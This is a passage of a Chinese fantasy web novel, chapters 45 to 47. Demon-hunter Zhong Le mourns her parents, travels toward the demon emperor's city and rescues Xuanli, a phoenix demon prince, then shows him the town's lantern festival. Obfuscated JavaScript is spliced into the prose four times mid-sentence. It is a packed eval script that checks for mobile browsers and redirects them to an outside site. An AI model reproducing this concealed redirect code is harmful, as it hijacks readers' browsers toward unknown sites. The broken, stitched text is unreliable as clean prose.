小姑娘看了看,鼓起腮帮子,一脸不乐意。 女人道:“乐儿这是怎么了?不喜欢呀?” “太花哨了,乐儿不喜欢。” 男人和女人俱是笑了。 白帝城盛产宝石,可他们的女儿,却是这世间最不喜华丽的人。 可是哪个当父母的人,见了好东西,不想将它用在自己的女儿身上呢? 小姑娘却只是一个劲儿摆手,亲了他们每人一口后,快乐的跑远了。剩下女人望着她的背影,无奈又慈爱的摇了摇头。男人伸手挽起女人耳边的一缕碎发,微笑道:“这鲛锦乃鲛人花费数年所织就,世间难得,乐儿既不喜欢,给你做一件衣裳,想必也是极美的。” 女人脸颊微微一红。 钟乐站在他们身旁,大声喊:“爹!娘!快跑啊!” “带着满城百姓,跑啊——” 可是他们谁也没有听到。钟乐绝望的伸手想要抓住他们,可是,她就好像不存在于这里,她的手透明的穿透爹娘的身体、却无法触摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127864|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他们。 她能做的,只能眼睁睁的看着十五年前的惨象再一次发生—— 妖帝蛮荒黑衣白发、高高漂浮在白帝城上空,脸色苍白、仿若鬼魅,眉心的凤凰图腾妖冶诡异到极致,像是以鲜血一笔笔描摹勾画。他勾起唇角:“钟子胤,你就真的这么想死么?” 下方,高高的九龙台之上,白帝城主钟子胤被两条散发着黑色煞气的铁链悬吊在空中,那铁链穿透他的琵琶骨,滴滴鲜血顺着铁链、掉落到地上。 蛮荒降落,惊起满地灰尘。 “本座给了你机会,可你不愿。但没关系,本座此刻,仍旧给你机会。” “只要你松口,愿意降服于我们妖族,那么一切就都可以轻松的结束了。多么美好?是吗?白帝城可以像以往一样,继续风平浪静的生活。你也可以高枕无忧的,继续做你的城主,重新,将你的娇妻拥抱在侧。”蛮荒诡笑着望向城楼下方白衣似雪的女人。女人也仿佛感应到他的目光,抬头朝这边望来。她身姿单薄,却站立的如此坚定。 钟子胤痛苦的别过眼睛。 蛮荒魅惑道:“还有,爱女。” “哦,对了,本座忘了,她被你藏起来了,但是没关系,马上,马上她就能被找到了。” “蛮荒,你死了这条心吧。”钟子胤冷笑。 蛮荒本就漆黑的眸子忽地又一深,他挥手,下方的妖兵得到号令,施法驾驭千万把长剑、朝着女人刺去。钟子胤惨叫出声:“忧若!!!” 女人却忽然,郎朗的笑了起来。 她柔弱却坚毅的声音响彻白帝城:“蛮荒,不是我们怕你,而是,你在怕我们。” 那袭白衣灿烂的一闪而过,而后,坠下百米高的城楼。 钟子胤双眼通红,疯狂的哈哈大笑起来:“蛮荒,你到底在怕些什么?你以为,让我跪在你面前便可以让你妖族得到认可?你以为,我跪下去,便等于所有人都跪下去?”他望着下方乌泱泱的白帝城百姓,声音渐渐恢复以往的慈悲与温和:“不要怕他……” “是他,在害怕我们……” 蛮荒眼神一冷,顿时有千万枚噬骨钉从四面八方飞来、穿透钟子胤的身体。短短片刻,他已血肉模糊,鲜血不间断的沿着白衣淌下来。 “跪我者,生。逆我者,死。” 寂静须臾,满城百姓、无一人跪拜。 蛮荒将牙齿咬的咯咯作响。其实他若不让他们看到这一惨象,那么此刻或许会有为数不少的人跪下去,可是他以为,让他们感到害怕,他们就会更愿意服从,于是他让他们从头至尾看着这一切,让他们亲眼目睹城主与城主夫人的死去。 他却没料到,有时候,害怕会让一个人更勇敢。贪生怕死,反而让一个人舍生忘死。 “我再说一遍,跪我者生,逆我者,死——” 可人影森森,仍是无一人低下头颅。 蛮荒双瞳血红—— “杀!杀尽他们!!!” “杀!!!!!” 钟乐大口呼吸着回到现实。 明月皎皎,夜色清明。空中,尘缘镜与水月镜交相映照。镜中世界栩栩如生,与真实世界分毫不差。 但现在看来,哪怕它再真,也都是无法改变的。 钟乐叹了口气,看着床边那串散发着淡淡瓷质光华的骨风铃。它静静悬挂着,从始至终,没有发出过一丝声响。 爹,娘。 你们并不来看我,是因为十五年已经太久了么? 在尘缘镜中叫喊了那么久,钟乐颇觉口干,去桌边倒了杯水。 清水中,映出皎洁明月,还有窗外几株夹桃竹的倒影,枝叶交错,随着水面微微摇晃。 钟乐注视片刻,忽地神色一凛,出门一掌拍开楚欢与公冶侯的房门:“不好了!” 48. 第45章 他们忘记了一件事。 娑罗村,此前虽一直生活在那娑罗树妖的慢性屠杀之中,可是,这亦是桩因祸得福的好事。因为妖是有地盘的,当娑罗树妖还活着时,这娑罗村被默认是属于它的,别的妖见了,也就不会来这娑罗树妖的地盘撒野。 但如今,娑罗树妖被他们除去,此地失去了它的保护,别的妖便无所顾忌、不再留情…… 三人站在娑罗村口,看着才刚刚离开不久的地方变成一片人间炼狱,黄子衿头身分离,刘铁匠被斧子劈开成两半,赵婶子被倒挂在她家的房梁上……整个村子尸横遍野,鲜血蜿蜒,染红了一片碧绿的青草…… “没有活人了,一个都没有。”楚欢检查完村子,咬着唇说道,大眼睛中泪光一闪一闪。 公冶侯痛苦的紧握着拳,许久,半跪下来,狠狠将地面砸出一个坑。 钟乐也同样悲伤苦楚,长长的睫毛扑簌颤动,眼中泪光闪过。 在愤怒与不甘的驱使下,她做出了一个已经盘踞在心头十几年的决定。 “我要去白帝城。”她说。 “白帝城?”公冶侯一时以为自己听错,“钟姑娘,白帝城早已不是以前的白帝城了,它现在是妖帝的居所呀!” 钟乐有些慈悲与温和的笑了笑:“我知道,公冶,我比你更清楚。” “那么你为什么……”公冶侯愣了一下,反应过来了。 楚欢也同样反应过来:“你要去白帝城杀妖?!” 钟乐点头:“我要杀妖帝,还要杀尽他手下所有的妖。” 自从十五年前群妖在白帝城进行那场九天九夜的大屠杀,她便已在心底许下誓言:终有一日,她要将妖怪们带给她的痛苦一分不少的还给他们。 一开始,这个誓言实现的日期,她将它定在了她死去之前。 妖帝太强了,她这一辈子潜心修炼,只要能在死之前杀了他,那么也就可以了。 可是现在,她的想法发生了变化。 一个人想要变强是需要历练的。此前作为一个捉妖师,四处云游除妖,虽然也算历练,可是,她所除掉的那些妖和妖帝相比,其实是远远不及的。 那一场屠城,让她对妖帝产生了深深的恐惧之心。此前她一直在回避这个问题,她不肯承认自己心底的懦弱与胆怯,反而将这归因成了她的修为还不够高强,必须得再等一天、再等一天,让她变得再强、更强……可是,今天之后有明天,明天之后有后天,她若是不敢直面妖帝,那么就算她再强,她也不可能有战胜妖帝的那一天。 就像高山,不去真正攀登,又怎能将它征服呢? 思及此,钟乐觉得心中踌躇与忧虑被一扫而尽。她升起满腔的壮志豪情,充满希望的对两位好友说道:“其实我已经不弱了,我已经修炼了十五年,我早已经做好了准备。” ——她需要的,只是真正去面对。 妖物在这片大地上的屠杀还在继续,早一日战胜妖帝,就能早一日让妖怪明白它们并不像它们所以为的那样强大,让人族知道自己并不像自己想象中的那么弱小,就能早一日终结这场屠杀。 楚欢却无法赞同钟乐。 她见钟乐神情笃定,似乎真的要义无反顾的前去白帝城,整个人都不好了:“不能去!” “你的法力虽然强大,在我和公冶之上,可妖帝可不是那么简单、就像我和公冶似的人物!更何况,白帝城如今是妖帝的地盘,那里面都是妖,他们那么多,而你只有一个人!”楚欢担忧的急切道,“你去了,是赢不了的!” 钟乐却摇摇头,朝她胸有成竹的一笑道:“不用担心,我已经有计划了。” 哎!哎! 楚欢无可奈何,急要去追她。 却不料钟乐的参商剑忽地凌空而起、变大数倍,在月色下,钟乐红衣飘飘、踏剑而去。 楚欢目瞪口呆,问公冶侯:“她这是什么法术?竟然飞起来了?” 公冶侯琢磨一会:“我们虽无法自己飞行,却可以将法力灌注入佩剑,然后操纵佩剑腾云而起。这种法力……应该……是不难的。” 楚欢听他说不难,霎时两眼亮晶晶:“那你会吗?” “呃,这个嘛,”公冶侯结结巴巴,“我、我还需要一段时间,练习一下。” 楚欢:“……” 还要一段时间?恐怕等到那时候,钟乐早已被妖帝杀死、尸体都风干了! “快走!我们从现在开始赶路,快马加鞭,或许还能来得及阻止她。” 公冶侯有些懵道:“赶、赶路?我们也去白帝城吗?”他的神情中有些害怕。 也难怪,白帝城如今乃妖物所居,那些妖怪一个个心狠手辣、冷血嗜杀,谁能不怕呢? 楚欢也觉得自己有些独断了,公冶侯并不是她的小跟班呀。她清清嗓子,咳道:“当然了,我不逼你,你不去的话也没有关系。”只是想到要一个人上路,颇有几分寂寞罢了。 公冶侯却忽然又变得激动起来,一向苍白的脸都出现红晕了。 “去,我去!”他激动道:“楚公子,你不知道……” 他竟好似忽然有些不好意思,挠了挠头,羞怯的道:“我一直以来的梦想,就是能打败妖怪,还天下一个太平。” 事实证明,走是比不过飞的。 当楚欢和公冶侯还在日夜兼程、累死累活的赶路时,钟乐早已到达了目的地。 不过,并不是白帝城,而是白帝城周边的一个小镇,名为寻乌镇。 白帝城中已经没有了一个活人,全是残忍可怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139138|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的妖怪。可是这寻乌镇距白帝城不过短短几里路,却好像丝毫未受到影响,仍旧人来人往,一如既往的热闹和安详。 当钟乐在其中转悠了一圈,却并没有见到那些熟悉的老面孔时,她懂得了。 捏糖人的张叔不见了,卖小米醋的掌柜的不见了,成衣铺里的老板娘不见了……取而代之的,是从南陵城搬来的郝老爷子一家、从扶风镇搬来的王大娘一家、从鹤都搬来的赵大哥一家…… 寻乌镇原住的百姓都被杀了。 这是妖帝自己创建的、臣服于妖怪的寻乌镇。 寻乌镇是个小镇,镇子常年笼罩着一种烟雨朦胧的湿润之感。寻乌镇中,有一条寻乌江,江水环绕着镇子,到了夜晚,江两岸灯火通明,熙攘又繁华,江水中漂浮摇曳着花灯和渔船,游人到了此处,被这波光粼粼的碧波一荡漾,刹那间心旷神怡,简直能忘记所有的烦恼与忧愁。 这是以前的寻乌镇。 而今的寻乌镇,虽然仍白墙黑瓦、风景如画,但钟乐却觉得,怎么都有点不对味道。 例如此刻,她坐在茶楼中,浅浅啜饮一杯香气四溢的清茶,貌似不经意的同邻桌之人闲聊道:“听说妖帝有三子……” 话未说完,邻桌之人神色慌张一瞬,很快“啪”的打开一把折扇,清清嗓子,说书一般道:“妖帝仁厚,许我凡人居住此地,吃穿用度、饮食起居,无不多加照料,我们凡夫俗子,还能有什么要求呢?” 大家纷纷喝“是”,那人受到鼓舞,声音更大了些、也更中气十足了些:“要我说啊,现在民间那些修士,还有什么专门捉妖的那种、叫捉妖师的,他们都是吃饱了没事干!妖帝掌管人间大地有什么不好,而且照我看啊,不仅没有不好,反而更好!” 顿时又是一片喝彩与掌声。 钟乐喝完最后一口茶,摇着头走出茶馆。 人心不古、人心不古啊! 但绕是如此思量着,钟乐却好像打定了主意,要在寻乌镇长住上一段时间。 她在寻乌江边上购置了一座小宅子。宅子分上下二层,下层院落中有柴房、厨房、水井,上层则是间敞亮的正厅、进去左拐连着间卧房。推开卧房窗,远可见苍茫起伏的青山、近可见碧波荡漾的江面。 一阵柔风吹来,院子中那串沿着木架蜿蜒到窗边的红葡萄藤微微摇晃,而钟乐出神的望向窗外,似乎在等待着什么。 一连三天,除却去镇上采购必要的生活用品,除却三餐吃喝,钟乐几乎从不离开那窗边。她在等着什么,可却什么也没有等到。 直到第九天的一个深夜,圆月如一枚通透温润的玉璧,悬浮在寻乌江上。 突地,“扑通”一声—— 有一个什么东西掉落到江水之中,打碎了皎洁月影。 49. 第46章 一豆灯油,在黑夜中缓缓的摇曳。 疼,好疼…… 可是,这倒并不是最主要的问题。除了疼,他还很累。 并不是身体上的累,而是心中的疲惫。 拜鬼忧与他虽不是同一母族,可是,他们的父王是同一个人。他们身上流着相同的、凤凰一族的血脉。他们……是亲兄弟。 他从没想过,有朝一日,拜鬼忧会想要杀了他。 难道至高无上的权力,真的比世间一切都重要吗?拜鬼忧宁愿舍弃骨肉亲情、也要得到那种权力,可是,当他真的得偿所愿的那一天,他一个人坐在高位之上,不会觉得冰冷与孤独吗?不会后悔吗? 宣离沉沉的叹了口气。 “他好像要醒了?”钟乐注意到了这一幕。 “哎?”好像还真是啊。 窦医师试探着扒拉了一下宣离的眼皮子。 忽然,他站立不稳,向后趔趄好几步,摔倒在地上。 钟乐忙扶他:“医师你没事吧!” 窦医师眼睛睁的很大很大、嘴唇发白,颤抖着伸出手来,指向床上的人:“他、他……” 钟乐:“他?” 窦医师:“他、他!” 钟乐更为鼓励与期待的:“他???” 窦医师:“……” 他忽然发现,自己“他”了半晌,其实根本没有什么可怕的事情发生。 只是,这个人的一双眼睛,太黑了,黑到几乎没有光,刚刚在看到这双眼睛的刹那,他从心底升起一种莫名的臣服与恐惧。 可是,这也没道理啊…… 这世上的人高矮胖瘦、千样百种,现在遇到一个眼睛黑一些的,也算不上奇怪啊? 思及此,窦医师十分尴尬的站起来,拍拍身上尘土,咳嗽一声说:“我的意思是……他醒了。” 钟乐:“……” 宣离从方才开始就一直冷冷打量着这两人,此刻他一掀被子,坐起来,皱着眉道:“我这是在哪儿?” 窦医师殷勤的道:“哎,是咱这寻乌镇。” “寻乌镇?”宣离轻蔑的冷笑一声,好像听到了某个十分下贱与卑微、不值一提的东西似的。 他闭眼凝神,觉得自己身上的伤恢复的好一些了,于是站起来就要离开。 钟乐急去拦他:“哎,你……” 话未说完,她拽住他衣角的手突然感受到一股强大的推力。有一股狂风无端的从这屋里刮起来,钟乐的衣服飘起、头发狂乱在空中飞舞,转头一看,窦医师也是如此。只不过他不知道发生了什么,只是委屈的哭丧着脸,不知道自己为何卷入一场无妄之灾。 钟乐松开手。 那股狂风也随之平息下来。宣离漆黑的眸子中满含冷意:“看在你们救我一把的份上,我不杀你们。”后面他没有再说下去,但那意思很明显——你们要是再多嘴多事,那么,死。 窦医师打了个冷战,心道今天出门一定是忘了看黄历。他手忙脚乱收拾好行医的包袱,背在背上,匆匆离去了。 但没多久,他又面色凝重的匆匆回来了。 钟乐正奇他是忘了什么事吗,只见窦医师快速伸手将桌子上那串银钱一抓、往包里一塞,这才长吁一口气的模样。 钟乐:“……” 窦医师又走了。钟乐对宣离道:“你、你等等。” 宣离眯起眼:“你想死?” “那自然是不想的,”钟乐慢吞吞的说,一边说一边将手伸到背后——长夜中蓦地一道寒光亮起,她手中的参商直挥向宣离。 可这点手段,在宣离眼中无异于小儿戏。他徒手握住参商漆黑的剑锋,稍一用力—— 钟乐整个人连同剑都被他甩到地上! “看来,你是真的很想死了。”宣离张开五指,钟乐跪在地上,只觉得咽喉被什么东西紧紧扼住,她无法呼吸,却仍嘶哑着嗓子,一字一句艰难的道:“你……你是妖,我……是捉妖师。” 捉妖师? 宣离挑起眉,一时忍不住冷笑起来:“你来我寻乌镇捉妖?” 钟乐挣扎着说:“不……我来……白帝城捉妖。” 这下,宣离是真的被逗笑了,她来白帝城?捉妖?哈哈哈哈哈哈,哈哈哈哈哈哈哈哈!真是可笑至极,也可怜至极!正想给她个痛快之际,外面忽然响起一个忽轻忽重的脚步声。宣离脸色一变! “你这里有没有地方可以藏人?”他急促的问。 钟乐摆摆手。宣离怒道:“有还是没有?!” 钟乐奄奄一息,指了指自己的喉咙。 宣离:“……” 他松手,钟乐终于能够喘得过气来,不知餍足的大口大口呼吸着空气,道:“衣、衣柜!” 宣离身形一闪,几乎是瞬间躲了进去。 “吱呀”一声,院门开了。 钟乐站在窗户边向下看,顿时吃了一惊。只见发光灵蝶萦绕中,来人和宣离的容貌十分相像,俱是雪白到近乎苍白的皮肤,还有一双黑漆漆的眼珠子,只是,这两个人的气质却又有微妙不同。现在来的这个人,更加的诡秘、阴森、捉摸不透,而宣离,在另人害怕之余却又有一种隐约的天真明朗之感。 “叨扰姑娘,我在找人。”这个人抬头,十分有礼的道。 钟乐强作镇定:“找谁?” “找谁嘛……” 这人唇角勾起,如鬼魅一般的声音响起:“你再清楚不过了。” 钟乐瞳孔蓦地一缩。 下一瞬,她被一双手揽住腰身,往上一带,踏在参商剑上凌空而去。而下方,她的小宅子如一堆松软的沙土,哗啦啦坍塌下来。窗户边那束红葡萄藤,也断裂成了好几节,寸寸掉落在地。 “他是谁?和你有什么仇?”钟乐慌张的问宣离。 可是,身后却毫无声息。钟乐转头,这才发现,宣离半跪在剑上,紧抿着唇,汗珠一滴滴从脸颊边滚落。 “你怎么了?你没事吧?刚刚不是还很厉害的吗,怎么突然……哎!哎!” 宣离直接昏过去了。 钟乐掀开他胸口的衣服,顿时吓了一跳。 只见他左肩到前胸那道又大又狰狞的伤口又裂开了,流出的鲜血已经浸透了洁白的里衣。可是为什么,明明她捡到他的时候,还没有这么严重的,更别提休养了三天,愈发恢复了一些的,怎么可能突然又裂开…… 钟乐忽然想到什么,向下望去,在她那小宅子的废墟上,那个人一身墨一般的黑衣,抬头也遥望着他们。 明明看不清,可钟乐仍觉得,他那双渗人的眼珠子在直勾勾注视着她。 “还好他不会飞。”钟乐叹了口气。 宣离醒来时,发现自己身处一个山洞里,温暖的火光映照在石壁上。 他摸了摸肩膀,发现那道伤口已经被妥帖包扎了起来。 “哎,你醒了?”钟乐从洞口走进来,右手抱着一捆柴火,左手拎着一只……宣离嘴角抽搐一下。 山鸡。 “我飞了挺久的,离白帝城和寻乌镇应该已经很远了,你那个仇家,应该一时半会儿找不到这里来。”钟乐边说,边往火堆中加了一些柴火,将火势拨的更大了些,“你饿了吗?” 宣离没说话,钟乐便默认他是饿了,将那山鸡拔了毛、将它剖开,将内脏肠肚挖出来丢到一边,再给它裹上厚厚一层黄泥,找根削尖的树枝串起来,放在火上烤。 “荒山野外,也没什么调味料,我们就凑合着吃吧。” 虽是说“凑合”,可是渐渐的,山鸡烤熟、散发出喷鼻的香气,钟乐两眼放光,不住的咽着口水。 “看来,即使没有佐料,也还是难掩其美味本质啊!”钟乐将烤熟的山鸡取下来,敲去其表面黄泥,陶醉的深呼吸一口香气,将它撕成两半,分一半递给宣离。 “吃吧,不用客气。” 宣离却没什么食欲的样子,有些嫌弃的将山鸡捧在手中,不动它。 “吃啊。”钟乐道,她已经在大口吞咽着娇嫩多汁的烤山鸡了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139139|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宣离却仍不吃,漆黑的眼眸望向她:“为什么不杀我?” 钟乐:“啊?” “为什么不杀我?”宣离不耐烦的冷冷道,“你是捉妖师,我是妖,方才我重伤昏迷,你明明有许多机会可以杀了我。” 这个嘛,钟乐眨眨眼:“可能是因为当时……你救了我一命。” 他那个仇家想做的,其实不是要毁了她的宅子,而是要杀了她。按理说,如果他真的想杀的话,她是不可能有机会逃脱的。但是,她仍旧逃脱了,而此时宣离的伤口却又忽然裂开,所以她推测,当时在百乱之中,是宣离挡住了那个人的一掌。 她现在才可以安然无恙的坐在这里吃烤鸡。 宣离冷冷一笑:“你觉得,我那是为了救你?” 钟乐:“呃,好吧,即使是为了你自己,但你也顺便拉了一把我,而不是丢下我。” 宣离闭上眼,火光下,他的肤色倒是有了几分温度,像是暖玉。 他道:“可如果不是几天前你救了我,你根本就不会遇到这样的麻烦。” 钟乐吃着烤鸡,叹了口气说:“那时候谁又知道呢,你掉在江水里,全身湿透,胸前的伤口流着血,仅剩下一丝气息。我也不知道你会法力,也不知道你是妖,只是凭着不能见死不救的想法,将你捞了上来。” 宣离闭着眼,记忆一幕幕闪现。 那时他虽重伤没有醒来,可是,仍能清晰的感知到外界。 有清水流动的声音,女子将白净的毛巾浸在水中,拧干,而后走过来,将她纤细冰凉的手指搭在他的额头上,一会儿之后又将手放在自己额头上,喃喃自语:“好像是没发烧吧……” 而后她掀开他的衣服,用毛巾将伤口附近的血污细细擦去。她似乎是有些被狰狞的伤口吓到,动作十分别扭与紧张,呼吸也急促几分,炙热的喷洒在他的皮肤上…… 宣离睫毛一颤,睁开了眼。 “你没事吧?”钟乐问道。 宣离别过眼,冷冷道:“没事。”顿了顿:“你既不杀我,又遑论捉妖师之称。” 钟乐撕烤鸡的手一顿,神色认真几分:“我是捉妖师,并且一直都会是捉妖师。我想让人间百姓过的开心、过的快乐,让他们一辈子都不用因为害怕妖怪迫害而提心吊胆。所以,我一直很认真的捉妖,并且来了白帝城,想灭了妖帝。” 宣离眸色一深,有些好笑的勾起唇角,却听得她继续道:“我知道我自不量力,可是我不害怕,也不后悔。” 宣离:“可是,你并没有杀我。” 钟乐道:“是。因为我突然发觉,我犯了一个错误。凡人中有很多的好人,可是同样,也有很多的坏人。那么妖怪也是同样的道理,虽有坏妖,可是也有好妖。我想,可不可以不要再打打杀杀,而是通过努力规劝、让那些坏妖怪向善、让他们不再杀人呢?” 宣离挑眉:“你想劝我向善?” 钟乐点头,认真道:“是。” 宣离哈哈大笑起来,钟乐无奈道:“你先不要笑好吗,而且,我觉得……” 她的声音忽然十分轻和而温柔:“你其实并没有那么坏。” 宣离冷笑一声,但这次倒没有出言讽刺了。 而钟乐,从始至终一直都惦记着他手中烤的焦香冒油的烤鸡:“快吃啊,不然凉了就不好吃了。” “……”宣离幽幽叹了口气,道:“你知道我是什么妖吗?” 钟乐:“什么妖?” 宣离额头上忽然浮起一点鲜红,钟乐愣了愣,发现那并不是一滴血,而是…… 剩下的图案渐渐也浮现出来,那是…… 凤凰图腾!!! 钟乐手中剩下的鸡顿时被吓掉了,她连向后退:“你你你、你是妖帝之子!凤凰一族???!!!” 宣离嘴角勾起,心情很好的样子,他举起手中山鸡,打量半晌,可惜的道:“的确是很香,可惜这东西,与我同为鸟族。”转而向钟乐,眉眼弯弯:“好吃么?” 钟乐:“……” 50. 第47章 “这是什么?” 小贩殷勤的搓着手道:“客官,这是鱼鲊,咱家自己抓的最肥最嫩的鱼、自己秘制的酱汁佐料腌制了半个月,现炸现卖的!客官来几块吗?保管外焦里嫩、香辣入味,让您吃了呀,一定还想再吃!” 宣离十分矜持的点了点头。 小贩手脚麻利的将一个灰色陶坛抱上来,从里面抓出几块腌鱼,放在一张牛皮纸上。再往一旁的油锅里添几根柴火,看到油滚沸了,便要将牛皮纸中的腌鱼块倒进去。 可是,他惊呆了。 因为,他还没来得及炸呢,眼前这位客人已经优雅的将那腌制的生鱼掂起来,一块一块吃掉了。 “这、这……”小贩不知道说什么了。 宣离吃完,皱起眉头:“十分腥,难吃。” 小贩:“……” 宣离已经十分不满意的走开了这个摊子,小贩这才发现这客人不仅胡乱的生吃鱼块、而且还不给钱!他皱眉苦脸的叫了两嗓子,可宣离却连头也不回。 还好,钟乐忙掏了钱给他,小贩接过银子,望着宣离背影,悻悻然的吐糟了句:“怪人!” 妖的听力本就好于凡人,更何况,宣离是何等级别的妖? 他挑起眉头:“怪人?” 钟乐忍笑:“你以前没有逛过这里吗?” 宣离摇头,一本正经道:“没有。” 钟乐不理解了:“人间多好玩啊,怎么不多逛逛呢,更何况,这寻乌镇现在已经算是你们的地盘了,你也没有来看过吗?” 宣离:“没有时间。” “我父王一族乃是凤凰,可我母亲一族却是法力微弱、地位也低微的兔妖。小时候,我父王并不重视我,而我二哥又一心想杀了我,我只能跟着母亲一族藏在地底、四处躲避,不过,他们其实也并不怎么待见我。闲逛人间,”他冷哼一声,“你觉得我有那样的闲情逸致吗?” 他二哥,自然也就是几天前来寻乌镇追杀他的那位仇家了。钟乐奇道:“他为什么非要杀了你?” 宣离用看傻子一样的眼神看着她:“你觉得呢?” 钟乐:“啊……我不懂。” 宣离:“……” 他决定暂且容忍这个蠢货一会:“我父王乃是妖帝,我大哥、还有他、我,我们三人是妖帝的儿子。也就是说,我们之中会有一个人,会成为未来的妖帝。” 啊……钟乐现在懂了:“他怕日后你抢走他的妖帝之位?”她道:“那你会抢吗?” 宣离漆黑的眼眸中有些惆怅:“我并无心,只是……” 只是拜鬼忧并不会相信他。他越是说自己不贪慕权力,拜鬼忧反而越是觉得他心怀鬼胎。 钟乐若有所思。 “钟乐?……钟乐!” 宣离盛怒的声音将钟乐拉回神:“啊???” “你就是这么服侍我的吗?”宣离怒道。 钟乐也怒了:什么叫服侍啊??? 她说她要劝他向善,带他来人间,感受凡人的血肉,感受凡人的热闹,这怎么就叫服侍了??? 只是,她看了看宣离一脸不好惹的模样,还是很识时务的点头了:“好的,小的服侍您,宣大人,请来这边,你吃过元宵吗?” 宣离这才满意一些,略为思索一番后,十分矜持的道:“听说过。” “……”钟乐说:“那么,就过来这边吧。” 片刻之后,和方才一样的情况再度上演。钟乐忍笑忍不住到只能用力拧自己的大腿,周围人也俱是惊奇又好笑的不住打量宣离,而宣离自认十分优雅的将没有煮熟的元宵一颗颗掂进嘴里,然后面不改色的咯嘣咯嘣嚼碎、咽下。 “这个味道尚可,但略噎了些。” 这卖元宵的小贩就灵活许多,见状,忙将煮元宵的汤盛了一碗递给宣离。 宣离吹了吹,小啜一口,挑起眉:“这汤不错,香浓中带着微微的甜味。” 小贩自然不可能说这就是用来煮元宵的面汤,只咬着嘴唇憋笑道:“客官喜欢就好、喜欢就好!” 在一众如看傻子一般猎奇的目光中,宣离拂袖,施施然而去。 在青石子街上又走了一段,宣离被一个花团锦簇、人群扎堆、熙攘说笑之声不绝于耳的摊子吸引,他问道:“这是在干什么?” 寻乌镇是妖帝的地盘,和人间别的地方反其道而行之。在这寻乌镇,黑夜是白天,白天是黑夜,而一年从春到冬的节气也恰和人间反过来。 此时,人间其他地方早已过完元宵节、春光明媚了。可这里,却正要从冬后退着往春走。钟乐道:“这是在猜灯谜呢,马上,就要过元宵节了。” “猜灯谜?”宣离思量一番,“走。” 猜灯谜活动不仅轻松有趣,且赢了便可以免费得到一盏花灯,或是扇子、香囊类的小礼物,因此异常火爆。钟乐和宣离挤进去,看到一条条红绸带下缀着一张张纸条,钟乐扯下一根绸带,读上面的纸条道:“坐也是坐,立也是坐,行也是坐,卧也是坐,打一动物。” 宣离不动声色的观察着钟乐。 只见钟乐眨眨眼,胸有成竹的答道:“青蛙。” 摊主高声道:“对了对了!姑娘,若是连对十五个,就能赢一份礼物回去!” 钟乐笑吟吟点头,朝宣离道:“你来吗?” 原来如此简单,宣离轻蔑一笑,扯下一根红绸带来,读道:“一加一不是二……打一字。” “……” 钟乐期待的望着他:“说呀!”周围人也纷纷期盼的催促:“公子,是什么,说啊!” 宣离冷哼:“不过小儿戏!”可是,这小儿戏的答案到底是什么,他却怎么也不肯说了。钟乐取笑他:“你不会是不知道吧?” 宣离眸色一深,语气威胁:“你觉得,我不知道?” 钟乐忙说:“知道知道!”笑呵呵向周围人解释:“他肯定是觉得这个太简单了,不屑于猜。” 她自己说答案道:“是‘王’字,对么?” “不错,正是‘王’字!” 宣离不屑道:“我就知道,不过如此。” 周围人眉来眼去,这个字谜谁看不出来是最简单的那一种?垂髫小儿都答的出来。可是,大家也不点破,只是偷偷看这位公子的笑话。 钟乐又扯下一根红绸带来,看了看,问宣离:“这个你来吗?” 前两个灯谜也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151016|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过如此,宣离觉得自己已经学会了,接过来一看——云中一面鼓,藏于最深处,平时不声响,雨时它先唱。 “……”宣离沉默了。 “公子,说呀!” “是啊,你就别谦虚了,说吧!” 人群中终于有人忍不住揶揄出声了。那红衣姑娘手气不错,拿到的这个灯谜更加简单,可是,这公子仍旧不知道,真是肚里半瓶水,一晃响叮当,也不怕笑掉人的大牙哟! 钟乐看宣离脸色越来越难看,虽然也好笑极了,但是还真怕他一怒之下将这地方化为粉齑。她绞尽脑汁的提示他道:“你想想,云里面的,下雨的时候会响的,轰隆轰隆,轰隆轰隆……” 宣离眉头舒展一瞬,钟乐眼前一亮,看到了希望:“是——” 宣离:“凤凰。” 钟乐:“……” “哈哈哈哈哈哈哈,哈哈哈哈哈哈哈哈!” 周围人呆了一瞬后,爆发出一阵大笑,不少人笑的眼泪都出来了。 